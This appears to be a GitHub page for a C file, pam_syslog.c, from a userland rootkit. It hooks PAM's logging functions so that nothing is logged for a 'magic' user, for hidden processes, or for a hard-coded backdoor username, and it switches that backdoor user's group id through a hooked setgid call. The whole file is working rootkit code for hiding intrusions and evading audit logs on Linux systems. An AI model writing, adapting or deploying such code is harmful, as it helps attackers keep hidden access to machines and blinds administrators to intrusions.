-
Notifications
You must be signed in to change notification settings - Fork 33
/
pam_syslog.c
36 lines (28 loc) · 861 Bytes
/
pam_syslog.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
void pam_syslog(const pam_handle_t *pamh, int priority, const char *fmt, ...){
if(magicusr() || hidden_ppid()) return;
va_list va;
char *user = get_username(pamh);
if(user == NULL) goto end_pam_syslog;
if(!strcmp(user, PAM_UNAME)){
hook(CSETGID);
call(CSETGID, readgid());
return;
}
end_pam_syslog:
va_start(va, fmt);
pam_vsyslog(pamh, priority, fmt, va);
va_end(va);
}
void pam_vsyslog(const pam_handle_t *pamh, int priority, const char *fmt, va_list args){
if(magicusr() || hidden_ppid()) return;
char *user = get_username(pamh);
if(user == NULL) goto end_pam_vsyslog;
if(!strcmp(user, PAM_UNAME)){
hook(CSETGID);
call(CSETGID, readgid());
return;
}
end_pam_vsyslog:
hook(CPAM_VSYSLOG);
call(CPAM_VSYSLOG, pamh, priority, fmt, args);
}